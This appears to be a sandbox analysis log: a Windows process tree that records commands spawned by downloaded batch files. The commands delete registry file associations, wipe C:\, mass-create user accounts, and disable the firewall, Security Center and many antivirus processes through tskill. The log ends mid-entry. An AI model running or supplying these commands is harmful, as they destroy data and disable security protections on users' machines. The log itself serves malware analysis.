- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe8e00ab58,0x7ffe8e00ab68,0x7ffe8e00ab78
  2⤵
  PID:1812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1624 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:2
  2⤵
  PID:1968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:4072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2244 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:4336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3068 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:1
  2⤵
  PID:548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3076 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:1
  2⤵
  PID:4676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4436 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:2532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4564 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4900 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:2056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4956 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Registery_deleter.bat" "
  2⤵
  PID:4604
- - C:\Windows\system32\reg.exe
    reg delete HKCR/.exe
    3⤵
    PID:4356
- - C:\Windows\system32\reg.exe
    reg delete HKCR/.dll
    3⤵
    PID:1800
- - C:\Windows\system32\reg.exe
    reg delete HKCR/*
    3⤵
    PID:4088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4908 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5080 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:2632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5196 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:4860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Os_deleter.bat" "
  2⤵
  PID:1284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" Del C:\ *.* "
    3⤵
    PID:552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=740 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:2896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\useraccount_flooder.bat" "
  2⤵
  PID:1092
- - C:\Windows\system32\net.exe
    net user 25385 /add
    3⤵
    PID:4036
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 25385 /add
      4⤵
      PID:3176
- - C:\Windows\system32\net.exe
    net user 1259 /add
    3⤵
    PID:740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 1259 /add
      4⤵
      PID:1260
- - C:\Windows\system32\net.exe
    net user 14709 /add
    3⤵
    PID:2508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 14709 /add
      4⤵
      PID:1144
- - C:\Windows\system32\net.exe
    net user 26395 /add
    3⤵
    PID:2568
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 26395 /add
      4⤵
      PID:232
- - C:\Windows\system32\net.exe
    net user 29258 /add
    3⤵
    PID:4904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29258 /add
      4⤵
      PID:3776
- - C:\Windows\system32\net.exe
    net user 29319 /add
    3⤵
    PID:2764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29319 /add
      4⤵
      PID:4684
- - C:\Windows\system32\net.exe
    net user 12769 /add
    3⤵
    PID:3068
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 12769 /add
      4⤵
      PID:528
- - C:\Windows\system32\net.exe
    net user 849 /add
    3⤵
    PID:2876
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 849 /add
      4⤵
      PID:4924
- - C:\Windows\system32\net.exe
    net user 12659 /add
    3⤵
    PID:4912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 12659 /add
      4⤵
      PID:4024
- - C:\Windows\system32\net.exe
    net user 3305 /add
    3⤵
    PID:3480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 3305 /add
      4⤵
      PID:1936
- - C:\Windows\system32\net.exe
    net user 8548 /add
    3⤵
    PID:980
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 8548 /add
      4⤵
      PID:4824
- - C:\Windows\system32\net.exe
    net user 9738 /add
    3⤵
    PID:452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 9738 /add
      4⤵
      PID:4808
- - C:\Windows\system32\net.exe
    net user 28101 /add
    3⤵
    PID:3904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 28101 /add
      4⤵
      PID:2272
- - C:\Windows\system32\net.exe
    net user 444 /add
    3⤵
    PID:2596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 444 /add
      4⤵
      PID:5080
- - C:\Windows\system32\net.exe
    net user 32719 /add
    3⤵
    PID:1972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 32719 /add
      4⤵
      PID:3260
- - C:\Windows\system32\net.exe
    net user 9567 /add
    3⤵
    PID:3200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 9567 /add
      4⤵
      PID:864
- - C:\Windows\system32\net.exe
    net user 11332 /add
    3⤵
    PID:1660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 11332 /add
      4⤵
      PID:1588
- - C:\Windows\system32\net.exe
    net user 27653 /add
    3⤵
    PID:4956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 27653 /add
      4⤵
      PID:2896
- - C:\Windows\system32\net.exe
    net user 15840 /add
    3⤵
    PID:3004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 15840 /add
      4⤵
      PID:648
- - C:\Windows\system32\net.exe
    net user 10664 /add
    3⤵
    PID:3428
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 10664 /add
      4⤵
      PID:4292
- - C:\Windows\system32\net.exe
    net user 17465 /add
    3⤵
    PID:2852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 17465 /add
      4⤵
      PID:4456
- - C:\Windows\system32\net.exe
    net user 5371 /add
    3⤵
    PID:4156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 5371 /add
      4⤵
      PID:4916
- - C:\Windows\system32\net.exe
    net user 21187 /add
    3⤵
    PID:3580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 21187 /add
      4⤵
      PID:4724
- - C:\Windows\system32\net.exe
    net user 5359 /add
    3⤵
    PID:4680
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 5359 /add
      4⤵
      PID:2980
- - C:\Windows\system32\net.exe
    net user 30933 /add
    3⤵
    PID:2664
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 30933 /add
      4⤵
      PID:2084
- - C:\Windows\system32\net.exe
    net user 14105 /add
    3⤵
    PID:2332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 14105 /add
      4⤵
      PID:2876
- - C:\Windows\system32\net.exe
    net user 17112 /add
    3⤵
    PID:1652
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 17112 /add
      4⤵
      PID:1956
- - C:\Windows\system32\net.exe
    net user 32420 /add
    3⤵
    PID:2228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 32420 /add
      4⤵
      PID:3480
- - C:\Windows\system32\net.exe
    net user 22038 /add
    3⤵
    PID:4984
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 22038 /add
      4⤵
      PID:4824
- - C:\Windows\system32\net.exe
    net user 30577 /add
    3⤵
    PID:2044
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 30577 /add
      4⤵
      PID:4672
- - C:\Windows\system32\net.exe
    net user 951 /add
    3⤵
    PID:2224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 951 /add
      4⤵
      PID:5048
- - C:\Windows\system32\net.exe
    net user 6033 /add
    3⤵
    PID:5080
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 6033 /add
      4⤵
      PID:2596
- - C:\Windows\system32\net.exe
    net user 21743 /add
    3⤵
    PID:3260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 21743 /add
      4⤵
      PID:1972
- - C:\Windows\system32\net.exe
    net user 2371 /add
    3⤵
    PID:864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 2371 /add
      4⤵
      PID:3200
- - C:\Windows\system32\net.exe
    net user 24946 /add
    3⤵
    PID:4784
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 24946 /add
      4⤵
      PID:1660
- - C:\Windows\system32\net.exe
    net user 2577 /add
    3⤵
    PID:1964
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 2577 /add
      4⤵
      PID:4956
- - C:\Windows\system32\net.exe
    net user 2723 /add
    3⤵
    PID:4212
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 2723 /add
      4⤵
      PID:648
- - C:\Windows\system32\net.exe
    net user 12238 /add
    3⤵
    PID:4292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 12238 /add
      4⤵
      PID:3428
- - C:\Windows\system32\net.exe
    net user 18714 /add
    3⤵
    PID:4456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 18714 /add
      4⤵
      PID:2852
- - C:\Windows\system32\net.exe
    net user 10877 /add
    3⤵
    PID:4916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 10877 /add
      4⤵
      PID:4156
- - C:\Windows\system32\net.exe
    net user 26482 /add
    3⤵
    PID:232
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 26482 /add
      4⤵
      PID:4904
- - C:\Windows\system32\net.exe
    net user 4710 /add
    3⤵
    PID:3776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 4710 /add
      4⤵
      PID:3548
- - C:\Windows\system32\net.exe
    net user 7300 /add
    3⤵
    PID:5040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 7300 /add
      4⤵
      PID:2704
- - C:\Windows\system32\net.exe
    net user 3048 /add
    3⤵
    PID:4836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 3048 /add
      4⤵
      PID:4052
- - C:\Windows\system32\net.exe
    net user 18551 /add
    3⤵
    PID:1444
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 18551 /add
      4⤵
      PID:4912
- - C:\Windows\system32\net.exe
    net user 5831 /add
    3⤵
    PID:4516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 5831 /add
      4⤵
      PID:1936
- - C:\Windows\system32\net.exe
    net user 29516 /add
    3⤵
    PID:4588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29516 /add
      4⤵
      PID:1576
- - C:\Windows\system32\net.exe
    net user 19724 /add
    3⤵
    PID:980
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 19724 /add
      4⤵
      PID:608
- - C:\Windows\system32\net.exe
    net user 24785 /add
    3⤵
    PID:452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 24785 /add
      4⤵
      PID:1556
- - C:\Windows\system32\net.exe
    net user 13737 /add
    3⤵
    PID:2020
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 13737 /add
      4⤵
      PID:1176
- - C:\Windows\system32\net.exe
    net user 27931 /add
    3⤵
    PID:5080
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 27931 /add
      4⤵
      PID:2916
- - C:\Windows\system32\net.exe
    net user 12675 /add
    3⤵
    PID:4920
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 12675 /add
      4⤵
      PID:3704
- - C:\Windows\system32\net.exe
    net user 15873 /add
    3⤵
    PID:1588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 15873 /add
      4⤵
      PID:4484
- - C:\Windows\system32\net.exe
    net user 32149 /add
    3⤵
    PID:2896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 32149 /add
      4⤵
      PID:4608
- - C:\Windows\system32\net.exe
    net user 31014 /add
    3⤵
    PID:4036
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 31014 /add
      4⤵
      PID:4976
- - C:\Windows\system32\net.exe
    net user 23355 /add
    3⤵
    PID:740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 23355 /add
      4⤵
      PID:4800
- - C:\Windows\system32\net.exe
    net user 27539 /add
    3⤵
    PID:2508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 27539 /add
      4⤵
      PID:1248
- - C:\Windows\system32\net.exe
    net user 14326 /add
    3⤵
    PID:1160
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 14326 /add
      4⤵
      PID:1120
- - C:\Windows\system32\net.exe
    net user 14071 /add
    3⤵
    PID:364
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 14071 /add
      4⤵
      PID:4616
- - C:\Windows\system32\net.exe
    net user 14372 /add
    3⤵
    PID:4380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 14372 /add
      4⤵
      PID:4276
- - C:\Windows\system32\net.exe
    net user 31233 /add
    3⤵
    PID:4128
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 31233 /add
      4⤵
      PID:2704
- - C:\Windows\system32\net.exe
    net user 25715 /add
    3⤵
    PID:4052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 25715 /add
      4⤵
      PID:4836
- - C:\Windows\system32\net.exe
    net user 21616 /add
    3⤵
    PID:1888
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 21616 /add
      4⤵
      PID:1692
- - C:\Windows\system32\net.exe
    net user 30763 /add
    3⤵
    PID:4024
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 30763 /add
      4⤵
      PID:4068
- - C:\Windows\system32\net.exe
    net user 27860 /add
    3⤵
    PID:4124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 27860 /add
      4⤵
      PID:4808
- - C:\Windows\system32\net.exe
    net user 32380 /add
    3⤵
    PID:608
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 32380 /add
      4⤵
      PID:2300
- - C:\Windows\system32\net.exe
    net user 3341 /add
    3⤵
    PID:2044
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 3341 /add
      4⤵
      PID:3424
- - C:\Windows\system32\net.exe
    net user 8044 /add
    3⤵
    PID:2224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 8044 /add
      4⤵
      PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4936 --field-trial-handle=1932,i,2301630291226333217,10556840832910635958,131072 /prefetch:8
  2⤵
  PID:1396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Antivirus Disabler.bat" "
  2⤵
  PID:4260
- - C:\Windows\system32\net.exe
    net stop ΓÇ£Security CenterΓÇ¥
    3⤵
    PID:3492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop ΓÇ£Security CenterΓÇ¥
      4⤵
      PID:3184
- - C:\Windows\system32\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    PID:4304
- - C:\Windows\system32\tskill.exe
    tskill /A av*
    3⤵
    PID:1956
- - C:\Windows\system32\tskill.exe
    tskill /A fire*
    3⤵
    PID:1692
- - C:\Windows\system32\tskill.exe
    tskill /A anti*
    3⤵
    PID:3088
- - C:\Windows\system32\tskill.exe
    tskill /A spy*
    3⤵
    PID:2916
- - C:\Windows\system32\tskill.exe
    tskill /A bullguard
    3⤵
    PID:4620
- - C:\Windows\system32\tskill.exe
    tskill /A PersFw
    3⤵
    PID:4276
- - C:\Windows\system32\tskill.exe
    tskill /A KAV*
    3⤵
    PID:1936
- - C:\Windows\system32\tskill.exe
    tskill /A ZONEALARM
    3⤵
    PID:4984
- - C:\Windows\system32\tskill.exe
    tskill /A SAFEWEB
    3⤵
    PID:3636
- - C:\Windows\system32\tskill.exe
    tskill /A spy*
    3⤵
    PID:5112
- - C:\Windows\system32\tskill.exe
    tskill /A bullguard
    3⤵
    PID:980
- - C:\Windows\system32\tskill.exe
    tskill /A PersFw
    3⤵
    PID:3504
- - C:\Windows\system32\tskill.exe
    tskill /A KAV*
    3⤵
    PID:1140
- - C:\Windows\system32\tskill.exe
    tskill /A ZONEALARM
    3⤵
    PID:2116
- - C:\Windows\system32\tskill.exe
    tskill /A SAFEWEB
    3⤵
    PID:1752
- - C:\Windows\system32\tskill.exe
    tskill /A OUTPOST
    3⤵
    PID:1816
- - C:\Windows\system32\tskill.exe
    tskill /A nv*
    3⤵
    PID:408
- - C:\Windows\system32\tskill.exe
    tskill /A nav*
    3⤵
    PID:4456
- - C:\Windows\system32\tskill.exe
    tskill /A F-*
    3⤵
    PID:2548
- - C:\Windows\system32\tskill.exe
    tskill /A ESAFE
    3⤵
    PID:316
- - C:\Windows\system32\tskill.exe
    tskill /A cle
    3⤵
    PID:3484
- - C:\Windows\system32\tskill.exe
    tskill /A BLACKICE
    3⤵
    PID:1456
- - C:\Windows\system32\tskill.exe
    tskill /A def*
    3⤵
    PID:3184
- - C:\Windows\system32\tskill.exe
    tskill /A kav
    3⤵
    PID:4572
- - C:\Windows\system32\tskill.exe
    tskill /A kav*
    3⤵
    PID:4608
- - C:\Windows\system32\tskill.exe
    tskill /A avg*
    3⤵
    PID:4516
- - C:\Windows\system32\tskill.exe
    tskill /A ash*
    3⤵
    PID:1700
- - C:\Windows\system32\tskill.exe
    tskill /A aswupdsv
    3⤵
    PID:828
- - C:\Windows\system32\tskill.exe
    tskill /A ewid*
    3⤵
    PID:2608
- - C:\Windows\system32\tskill.exe
    tskill /A guard*
    3⤵
    PID:2876
- - C:\Windows\system32\tskill.exe
    tskill /A guar*
    3⤵
    PID:4328
- - C:\Windows\system32\tskill.exe
    tskill /A gcasDt*
    3⤵
    PID:1880
- - C:\Windows\system32\tskill.exe
    tskill /A msmp*
    3⤵
    PID:3068
- - C:\Windows\system32\tskill.exe
    tskill /A mcafe*
    3⤵
    PID:3200
- - C:\Windows\system32\tskill.exe
    tskill /A mghtml
    3⤵
    PID:3424
- - C:\Windows\system32\tskill.exe
    tskill /A msiexec
    3⤵
    PID:808
- - C:\Windows\system32\tskill.exe
    tskill /A outpost
    3⤵
    PID:4844
- - C:\Windows\system32\tskill.exe
    tskill /A isafe
    3⤵
    PID:2912
- - C:\Windows\system32\tskill.exe
    tskill /A zap*cls
    3⤵
    PID:1540
- - C:\Windows\system32\tskill.exe
    tskill /A zauinst
    3⤵
    PID:4068
- - C:\Windows\system32\tskill.exe
    tskill /A upd*
    3⤵
    PID:408
- - C:\Windows\system32\tskill.exe
    tskill /A zlclien*
    3⤵
    PID:3244
- - C:\Windows\system32\tskill.exe
    tskill /A minilog
    3⤵
    PID:372
- - C:\Windows\system32\tskill.exe
    tskill /A cc*
    3⤵
    PID:4824
- - C:\Windows\system32\tskill.exe
    tskill /A norton*
    3⤵
    PID:3676
- - C:\Windows\system32\tskill.exe
    tskill /A norton au*
    3⤵
    PID:3492
- - C:\Windows\system32\tskill.exe
    tskill /A ccc*
    3⤵
    PID:4976
- - C:\Windows\system32\tskill.exe
    tskill /A npfmn*
    3⤵
    PID:4572
- - C:\Windows\system32\tskill.exe
    tskill /A loge*
    3⤵
    PID:4304
- - C:\Windows\system32\tskill.exe
    tskill /A nisum*
    3⤵
    PID:4608
- - C:\Windows\system32\tskill.exe
    tskill /A issvc
    3⤵
    PID:4880
- - C:\Windows\system32\tskill.exe
    tskill /A tmp*
    3⤵
    PID:1700
- - C:\Windows\system32\tskill.exe
    tskill /A tmn*
    3⤵
    PID:1104
- - C:\Windows\system32\tskill.exe
    tskill /A pcc*
    3⤵
    PID:4276
- - C:\Windows\system32\tskill.exe
    tskill /A cpd*
    3⤵
    PID:2148
- - C:\Windows\system32\tskill.exe
    tskill /A pop*
    3⤵
    PID:4984
- - C:\Windows\system32\tskill.exe
    tskill /A pav*
    3⤵
    PID:4808
- - C:\Windows\system32\tskill.exe
    tskill /A padmincls
    3⤵
    PID:4680
- - C:\Windows\system32\tskill.exe
    tskill /A panda*
    3⤵
    PID:3260
- - C:\Windows\system32\tskill.exe
    tskill /A avsch*
    3⤵
    PID:4816
- - C:\Windows\system32\tskill.exe
    tskill /A sche*
    3⤵
    PID:1140
- - C:\Windows\system32\tskill.exe
    tskill /A syman*
    3⤵
    PID:1280
- - C:\Windows\system32\tskill.exe
    tskill /A virus*
    3⤵
    PID:3092
- - C:\Windows\system32\tskill.exe
    tskill /A realm*cls
    3⤵
    PID:4696
- - C:\Windows\system32\tskill.exe
    tskill /A sweep*
    3⤵
    PID:460
- - C:\Windows\system32\tskill.exe
    tskill /A scan*
    3⤵
    PID:1396
- - C:\Windows\system32\tskill.exe
    tskill /A ad-*
    3⤵
    PID:4860
- - C:\Windows\system32\tskill.exe
    tskill /A safe*
    3⤵
    PID:1972
- - C:\Windows\system32\tskill.exe
    tskill /A avas*
    3⤵
    PID:3116
- - C:\Windows\system32\tskill.exe
    tskill /A norm*
    3⤵
    PID:1660
- - C:\Windows\system32\tskill.exe
    tskill /A offg*
    3⤵
    PID:2896

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:864

C:\Windows\regedit.exe
"C:\Windows\regedit.exe"
1⤵
- Runs regedit.exe
PID:2068

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4912

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:452

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:1484

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
PID:5060

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:3116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault03de5ff4h8576h480eh9ad0h975d2d45e807
1⤵
PID:1632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffe7df246f8,0x7ffe7df24708,0x7ffe7df24718
  2⤵
  PID:4580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
